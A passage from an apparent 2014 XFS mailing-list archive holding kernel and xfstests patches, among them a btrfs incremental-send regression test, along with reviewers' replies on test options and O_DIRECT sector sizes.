PF_META_ONLY || - !B_IS_INODE(XFS_BUF_PRIORITY(bplist[num]))) + /* + * Handle discontiguous buffers outside the seek + * optimised IO loop below. + */ + if ((bplist[num]->b_flags & LIBXFS_B_DISCONTIG)) { + pf_read_discontig(args, bplist[num]); + bplist[num] = NULL; + } else if (which != PF_META_ONLY || + !B_IS_INODE(XFS_BUF_PRIORITY(bplist[num]))) num++; if (num == MAX_BUFS) break; @@ -664,10 +740,13 @@ pf_queuing_worker( bno = XFS_AGINO_TO_AGBNO(mp, cur_irec->ino_startnum); do { - pf_queue_io(args, XFS_AGB_TO_FSB(mp, args->agno, bno), - blks_per_cluster, - (cur_irec->ino_isa_dir != 0) ? - B_DIR_INODE : B_INODE); + struct xfs_buf_map map; + + map.bm_bn = XFS_AGB_TO_DADDR(mp, args->agno, bno); + map.bm_len = XFS_FSB_TO_BB(mp, blks_per_cluster); + pf_queue_io(args, &map, 1, + (cur_irec->ino_isa_dir != 0) ? B_DIR_INODE + : B_INODE); bno += blks_per_cluster; num_inos += inodes_per_cluster; } while (num_inos < XFS_IALLOC_INODES(mp)); -- 1.8.4.rc3 From jeff.liu@oracle.com Wed Jan 22 03:53:21 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3250A7F5D for ; Wed, 22 Jan 2014 03:53:21 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id ADDC3AC002 for ; Wed, 22 Jan 2014 01:53:17 -0800 (PST) X-ASG-Debug-ID: 1390384396-04bdf030e87bd60001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 73rZ76KnHph3VOJL (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 22 Jan 2014 01:53:16 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s0M9rD0c001602 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 22 Jan 2014 09:53:14 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0M9rC4Y021077 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 22 Jan 2014 09:53:13 GMT Received: from abhmp0004.oracle.com (abhmp0004.oracle.com [141.146.116.10]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0M9rCNZ021072; Wed, 22 Jan 2014 09:53:12 GMT Received: from [192.168.1.106] (/114.248.204.110) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 22 Jan 2014 01:53:12 -0800 Message-ID: <52DF9503.6080708@oracle.com> Date: Wed, 22 Jan 2014 17:53:07 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH] xfs/199: enforce v4 superblock format for test References: <1390302628-19020-1-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH] xfs/199: enforce v4 superblock format for test In-Reply-To: <1390302628-19020-1-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1390384396 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144355 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 01/21 2014 19:10 PM, Dave Chinner wrote: > From: Dave Chinner > > This test relies of the contents of the sb_features2 field being > known. Make sure ot clear allt eh MKFS_OPTIONS and ensure that we > direct mkfs to create only the simplest of featuresets to test this > functionality. > > Signed-off-by: Dave Chinner > --- > tests/xfs/199 | 5 ++++- > 1 file changed, 4 insertions(+), 1 deletion(-) > > diff --git a/tests/xfs/199 b/tests/xfs/199 > index 1d64e02..c1b5962 100755 > --- a/tests/xfs/199 > +++ b/tests/xfs/199 > @@ -49,7 +49,10 @@ _supported_os Linux > > _require_scratch > > -_scratch_mkfs_xfs -l lazy-count=1 >/dev/null 2>&1 > +# clear any mkfs options so taht we can directly specify the options we need to ^^^ a typo... > +# be able to test the features bitmask behaviour correctly. > +MKFS_OPTIONS= > +_scratch_mkfs_xfs -l lazy-count=1 -i projid32bit=0 >/dev/null 2>&1 > > # > # Print the current flags. Just a dummy so that the test breaks Looks good to me. Reviewed-by: Jie Liu Thanks, -Jeff From fdmanana@gmail.com Wed Jan 22 04:05:42 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C86337F62 for ; Wed, 22 Jan 2014 04:05:42 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id A7570304066 for ; Wed, 22 Jan 2014 02:05:39 -0800 (PST) X-ASG-Debug-ID: 1390385137-04cbb05bac70250001-NocioJ Received: from mail-we0-f170.google.com (mail-we0-f170.google.com [74.125.82.170]) by cuda.sgi.com with ESMTP id 1AKd2m1nP5u7LQaC (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 22 Jan 2014 02:05:38 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.170 Received: by mail-we0-f170.google.com with SMTP id u57so140965wes.15 for ; Wed, 22 Jan 2014 02:05:36 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=+ClLwvHonSyGwhYWWvVv9RUQ7bwPfXBYmWB3deQYGzs=; b=A9y9xNBPL97W8KVWHOwRT86GFMIYnss/UbV3yYdMr/F950dCWSL+j2UT5PLnAPo0pl 5P5kKWKaHpWS4f5HhyjVoOueXqilugvYh0muNwUCuaHNV38VjOKvflTLNM/fnzjiyPwf cRowb4r1bFNqXZraY+eN2rc/gfWu3tmMAth9pzaHqFBSbNrHs6LRiF0QxCwqWKnR2iOV KVrkoXAMkC6wdvmNqJcTbIdPKAOnGsqUnPQvGw7PHkJuiNe8k1oE5fwTQKrjn118D0m7 Lb5Tbn53qFPsNqWCxnQkmkHNygCx+PFwEf2B5hgbCQwKcjKPCZo/ljMectpsGzBjegmi mJpA== X-Received: by 10.180.35.36 with SMTP id e4mr2262010wij.8.1390385136697; Wed, 22 Jan 2014 02:05:36 -0800 (PST) Received: from storm-desktop.lan (bl10-142-212.dsl.telepac.pt. [85.243.142.212]) by mx.google.com with ESMTPSA id ua8sm13737742wjc.4.2014.01.22.02.05.32 for (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Wed, 22 Jan 2014 02:05:36 -0800 (PST) From: Filipe David Borba Manana To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, Filipe David Borba Manana Subject: [PATCH v2] xfstests: add test for btrfs incremental send infinite loop issue Date: Wed, 22 Jan 2014 10:05:19 +0000 X-ASG-Orig-Subj: [PATCH v2] xfstests: add test for btrfs incremental send infinite loop issue Message-Id: <1390385119-6998-1-git-send-email-fdmanana@gmail.com> X-Mailer: git-send-email 1.7.9.5 In-Reply-To: <1390348610-8098-1-git-send-email-fdmanana@gmail.com> References: <1390348610-8098-1-git-send-email-fdmanana@gmail.com> X-Barracuda-Connect: mail-we0-f170.google.com[74.125.82.170] X-Barracuda-Start-Time: 1390385137 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144355 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Regression test for btrfs' incremental send feature: 1) Create several nested directories; 2) Create a read only snapshot; 3) Change the parentship of some of the deepest directories in a reverse way, so that parents become children and children become parents; 4) Create another read only snapshot and use it for an incremental send relative to the first snapshot. At step 4 btrfs' send entered an infinite loop, increasing the memory it used while building path strings until a krealloc was unable to allocate more memory, which caused a warning dump in dmesg. The following linux kernel patch fixes this issue. Btrfs: fix infinite path build loops in incremental send (https://patchwork.kernel.org/patch/3522361/) Signed-off-by: Filipe David Borba Manana --- V2: Updated test to trigger one more code path in the corresponding btrfs linux kernel patch that fixes this issue. tests/btrfs/030 | 144 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/030.out | 9 ++++ tests/btrfs/group | 1 + 3 files changed, 154 insertions(+) create mode 100755 tests/btrfs/030 create mode 100644 tests/btrfs/030.out diff --git a/tests/btrfs/030 b/tests/btrfs/030 new file mode 100755 index 0000000..5e1b4fc --- /dev/null +++ b/tests/btrfs/030 @@ -0,0 +1,144 @@ +#! /bin/bash +# FS QA Test No. btrfs/030 +# +# Regression test for btrfs' incremental send feature: +# +# 1) Create several nested directories; +# 2) Create a read only snapshot; +# 3) Change the parentship of some of the deepest directories in a reverse +# way, so that parents become children and children become parents; +# 4) Create another read only snapshot and use it for an incremental send +# relative to the first snapshot. +# +# At step 4 btrfs' send entered an infinite loop, increasing the memory it +# used while building path strings until a krealloc was unable to allocate +# more memory, which caused a warning dump in dmesg. +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=`mktemp -d` +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + rm -fr $tmp +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch +_need_to_be_root + +FSSUM_PROG=$here/src/fssum +[ -x $FSSUM_PROG ] || _notrun "fssum not built" + +rm -f $seqres.full + +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + + +mkdir -p $SCRATCH_MNT/a/b/c +echo "hello" > $SCRATCH_MNT/a/b/c/file.txt +mkdir $SCRATCH_MNT/a/b/c/d +mkdir $SCRATCH_MNT/a/b/c2 +mkdir $SCRATCH_MNT/a/b/www +mkdir -p $SCRATCH_MNT/a/b/c3/x/y + +# Directory tree looks like: +# +# . (ino 256) +# |-- a/ (ino 257) +# |-- b/ (ino 258) +# |-- c/ (ino 259) +# | |-- file.txt (ino 260) +# | |-- d/ (ino 261) +# | +# |-- c2/ (ino 262) +# |-- www/ (ino 263) +# | +# |-- c3/ (ino 264) +# |-- x/ (ino 265) +# |-- y/ (ino 266) + +$BTRFS_UTIL_PROG subvol snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap1 | \ + _filter_scratch + +echo " world" >> $SCRATCH_MNT/a/b/c/file.txt +mv $SCRATCH_MNT/a/b/c/d $SCRATCH_MNT/a/b/c2/d2 +mv $SCRATCH_MNT/a/b/c $SCRATCH_MNT/a/b/c2/d2/cc +mv $SCRATCH_MNT/a/b/c3/x/y $SCRATCH_MNT/a/b/c2/y2 +mv $SCRATCH_MNT/a/b/c3/x $SCRATCH_MNT/a/b/c2/y2/x2 +mv $SCRATCH_MNT/a/b/c3 $SCRATCH_MNT/a/b/c2/y2/x2/Z +mv $SCRATCH_MNT/a/b/www $SCRATCH_MNT/a/b/c2/y2/x2/WWW +ln $SCRATCH_MNT/a/b/c2/d2/cc/file.txt $SCRATCH_MNT/a/b/c2/y2/x2/Z/file_link.txt +mv $SCRATCH_MNT/a/b/c2/d2/cc/file.txt $SCRATCH_MNT/a/b/c2/y2/x2 + +# Directory tree now looks like: +# +# . (ino 256) +# |-- a/ (ino 257) +# |-- b/ (ino 258) +# |-- c2/ (ino 262) +# |-- d2/ (ino 261) +# | |-- cc/ (ino 259) +# | |-- file.txt (ino 260) +# |-- y2/ (ino 266) +# |-- x2/ (ino 265) +# |-- WWW/ (ino 263) +# |-- Z/ (ino 264) +# |-- file_link.txt + +$BTRFS_UTIL_PROG subvol snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap2 | \ + _filter_scratch + +$FSSUM_PROG -A -f -w $tmp/1.fssum $SCRATCH_MNT/mysnap1 +$FSSUM_PROG -A -f -w $tmp/2.fssum -x $SCRATCH_MNT/mysnap2/mysnap1 \ + $SCRATCH_MNT/mysnap2 + +$BTRFS_UTIL_PROG send $SCRATCH_MNT/mysnap1 -f $tmp/1.snap 2>&1 | _filter_scratch +$BTRFS_UTIL_PROG send -p $SCRATCH_MNT/mysnap1 $SCRATCH_MNT/mysnap2 \ + -f $tmp/2.snap 2>&1 | _filter_scratch + +_scratch_unmount +_check_btrfs_filesystem $SCRATCH_DEV +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +$BTRFS_UTIL_PROG receive $SCRATCH_MNT -f $tmp/1.snap +$FSSUM_PROG -r $tmp/1.fssum $SCRATCH_MNT/mysnap1 +$BTRFS_UTIL_PROG receive $SCRATCH_MNT -f $tmp/2.snap +$FSSUM_PROG -r $tmp/2.fssum $SCRATCH_MNT/mysnap2 + +_scratch_unmount +_check_btrfs_filesystem $SCRATCH_DEV + +status=0 +exit diff --git a/tests/btrfs/030.out b/tests/btrfs/030.out new file mode 100644 index 0000000..2999f8c --- /dev/null +++ b/tests/btrfs/030.out @@ -0,0 +1,9 @@ +QA output created by 030 +Create a readonly snapshot of 'SCRATCH_MNT' in 'SCRATCH_MNT/mysnap1' +Create a readonly snapshot of 'SCRATCH_MNT' in 'SCRATCH_MNT/mysnap2' +At subvol SCRATCH_MNT/mysnap1 +At subvol SCRATCH_MNT/mysnap2 +At subvol mysnap1 +OK +At snapshot mysnap2 +OK diff --git a/tests/btrfs/group b/tests/btrfs/group index 8eb8c4f..3f61799 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -32,3 +32,4 @@ 027 auto quick 028 auto quick 029 auto quick +030 auto quick -- 1.7.9.5 From BATV+196142798b1830d3ff8f+3804+infradead.org+hch@bombadil.srs.infradead.org Wed Jan 22 05:52:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 92F427F67 for ; Wed, 22 Jan 2014 05:52:44 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 22B76AC002 for ; Wed, 22 Jan 2014 03:52:41 -0800 (PST) X-ASG-Debug-ID: 1390391558-04cbb05baa74d80001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id HPkGCR7Gh7wdXLrk (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 22 Jan 2014 03:52:39 -0800 (PST) X-Barracuda-Envelope-From: BATV+196142798b1830d3ff8f+3804+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1W5wMI-0006Gu-De; Wed, 22 Jan 2014 11:52:38 +0000 Date: Wed, 22 Jan 2014 03:52:38 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 0/7] xfstests: various fixes and additions for XFS Message-ID: <20140122115238.GA24080@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 0/7] xfstests: various fixes and additions for XFS References: <1390198957-17184-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1390198957-17184-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1390391559 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144358 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Jan 20, 2014 at 05:22:30PM +1100, Dave Chinner wrote: > Hi folks, > > The following series cleans up some of the infrastructure for > handling XFS filesystems, and fixes a few failures that have > resulted from recent changes to mkfs defaults. There is also a new > log recovery test that uses fsstress to generate load and log > traffic. This was causing failures and hangs on recent kernels. The whole series looks good to me, Reviewed-by: Christoph Hellwig From rjohnston@sgi.com Wed Jan 22 07:26:41 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E676A7F6D for ; Wed, 22 Jan 2014 07:26:41 -0600 (CST) Received: from xmail.sgi.com (pv-excas2-dc21.corp.sgi.com [137.38.106.9]) by relay2.corp.sgi.com (Postfix) with ESMTP id 831C6304066; Wed, 22 Jan 2014 05:26:38 -0800 (PST) Received: from [134.15.0.237] (134.15.0.237) by xmail.sgi.com (137.38.106.6) with Microsoft SMTP Server (TLS) id 14.3.123.3; Wed, 22 Jan 2014 07:26:38 -0600 Message-ID: <52DFC70D.1010206@sgi.com> Date: Wed, 22 Jan 2014 07:26:37 -0600 From: Rich Johnston User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner , Subject: Re: [PATCH 0/7] xfstests: various fixes and additions for XFS References: <1390198957-17184-1-git-send-email-david@fromorbit.com> In-Reply-To: <1390198957-17184-1-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [134.15.0.237] On 01/20/2014 12:22 AM, Dave Chinner wrote: > Hi folks, > > The following series cleans up some of the infrastructure for > handling XFS filesystems, and fixes a few failures that have > resulted from recent changes to mkfs defaults. There is also a new > log recovery test that uses fsstress to generate load and log > traffic. This was causing failures and hangs on recent kernels. > > Cheers, > > Dave. > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > This series has been committed. Thanks --Rich From dsterba@suse.cz Wed Jan 22 07:27:38 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4E6217F6D for ; Wed, 22 Jan 2014 07:27:38 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 403DF304066 for ; Wed, 22 Jan 2014 05:27:38 -0800 (PST) X-ASG-Debug-ID: 1390397250-04cb6c750879cd0001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id 60ryAz3zWvSd59lE (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 22 Jan 2014 05:27:31 -0800 (PST) X-Barracuda-Envelope-From: dsterba@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 3B56AAC6C; Wed, 22 Jan 2014 13:27:30 +0000 (UTC) Received: by ds.suse.cz (Postfix, from userid 10065) id 5DB6DDA8D7; Wed, 22 Jan 2014 14:27:29 +0100 (CET) Date: Wed, 22 Jan 2014 14:27:29 +0100 From: David Sterba To: Koen De Wit Cc: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH RESEND] xfstests: btrfs: cross-subvolume sparse copy Message-ID: <20140122132729.GJ6498@twin.jikos.cz> X-ASG-Orig-Subj: Re: [PATCH RESEND] xfstests: btrfs: cross-subvolume sparse copy Reply-To: dsterba@suse.cz Mail-Followup-To: dsterba@suse.cz, Koen De Wit , xfs@oss.sgi.com, linux-btrfs@vger.kernel.org References: <1390304448-25752-1-git-send-email-koen.de.wit@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1390304448-25752-1-git-send-email-koen.de.wit@oracle.com> User-Agent: Mutt/1.5.22 (2013-10-16) X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1390397251 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144360 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Jan 21, 2014 at 12:40:48PM +0100, Koen De Wit wrote: > +btrfs subvol delete $SUBVOL1 >/dev/null 2>&1 > +btrfs subvol delete $SUBVOL2 >/dev/null 2>&1 Please use $BTRFS_UTIL_PROG instead of 'btrfs' and don't shorten the command names, ie 'subvolume'. > +cp --reflink $TESTDIR1/file1 $SUBVOL1 > +cp --reflink $TESTDIR1/file1 $SUBVOL2 > +cp --reflink $SUBVOL1/file2 $TESTDIR1/ > +cp --reflink $SUBVOL1/file2 $SUBVOL2 > +cp --reflink $SUBVOL2/file3 $TESTDIR1/ > +cp --reflink $SUBVOL2/file3 $SUBVOL1 --reflink without any parameter means 'always', that's what we want, but can we possibly make it explicit? 'cp' is an external tool and if the default changes, the test would not work as expected. Otherwise ok, Reviewed-by: David Sterba From bfoster@redhat.com Wed Jan 22 07:54:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6A3417F78 for ; Wed, 22 Jan 2014 07:54:20 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 145EBAC002 for ; Wed, 22 Jan 2014 05:54:16 -0800 (PST) X-ASG-Debug-ID: 1390398855-04bdf030e8869e0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id LBOcmPHZu2vH5E33 for ; Wed, 22 Jan 2014 05:54:16 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0MDsFA2020816 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 22 Jan 2014 08:54:15 -0500 Received: from laptop.bfoster (vpn-58-155.rdu2.redhat.com [10.10.58.155]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s0MDsECl024198 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 22 Jan 2014 08:54:15 -0500 Message-ID: <52DFCD85.4000407@redhat.com> Date: Wed, 22 Jan 2014 08:54:13 -0500 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: Re: [PATCH 3/3 V3] xfs: allow logical-sector sized O_DIRECT References: <52DEF81D.4090100@redhat.com> <52DEF8BF.5070106@sandeen.net> X-ASG-Orig-Subj: Re: [PATCH 3/3 V3] xfs: allow logical-sector sized O_DIRECT In-Reply-To: <52DEF8BF.5070106@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1390398856 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 01/21/2014 05:46 PM, Eric Sandeen wrote: > Some time ago, mkfs.xfs started picking the storage physical > sector size as the default filesystem "sector size" in order > to avoid RMW costs incurred by doing IOs at logical sector > size alignments. > > However, this means that for a filesystem made with i.e. > a 4k sector size on an "advanced format" 4k/512 disk, > 512-byte direct IOs are no longer allowed. This means > that XFS has essentially turned this AF drive into a hard > 4K device, from the filesystem on up. > > XFS's mkfs-specified "sector size" is really just controlling > the minimum size & alignment of filesystem metadata. > > There is no real need to tightly couple XFS's minimal > metadata size to the minimum allowed direct IO size; > XFS can continue doing metadata in optimal sizes, but > still allow smaller DIOs for apps which issue them, > for whatever reason. > > This patch adds a new field to the xfs_buftarg, so that > we now track 2 sizes: > > 1) The metadata sector size, which is the minimum unit and > alignment of IO which will be performed by metadata operations. > 2) The device logical sector size > > The first is used internally by the file system for metadata > alignment and IOs. > The second is used for the minimum allowed direct IO alignment. > > This has passed xfstests on filesystems made with 4k sectors, > including when run under the patch I sent to ignore > XFS_IOC_DIOINFO, and issue 512 DIOs anyway. I also directly > tested end of block behavior on preallocated, sparse, and > existing files when we do a 512 IO into a 4k file on a > 4k-sector filesystem, to be sure there were no unexpected > behaviors. > > Signed-off-by: Eric Sandeen > --- Looks good to me... Reviewed-by: Brian Foster > > diff --git a/fs/xfs/xfs_buf.c b/fs/xfs/xfs_buf.c > index a526f8d..5175711 100644 > --- a/fs/xfs/xfs_buf.c > +++ b/fs/xfs/xfs_buf.c > @@ -1599,6 +1599,7 @@ xfs_setsize_buftarg( > unsigned int blocksize, > unsigned int sectorsize) > { > + /* Set up metadata sector size info */ > btp->bt_meta_sectorsize = sectorsize; > btp->bt_meta_sectormask = sectorsize - 1; > > @@ -1613,6 +1614,10 @@ xfs_setsize_buftarg( > return EINVAL; > } > > + /* Set up device logical sector size mask */ > + btp->bt_logical_sectorsize = 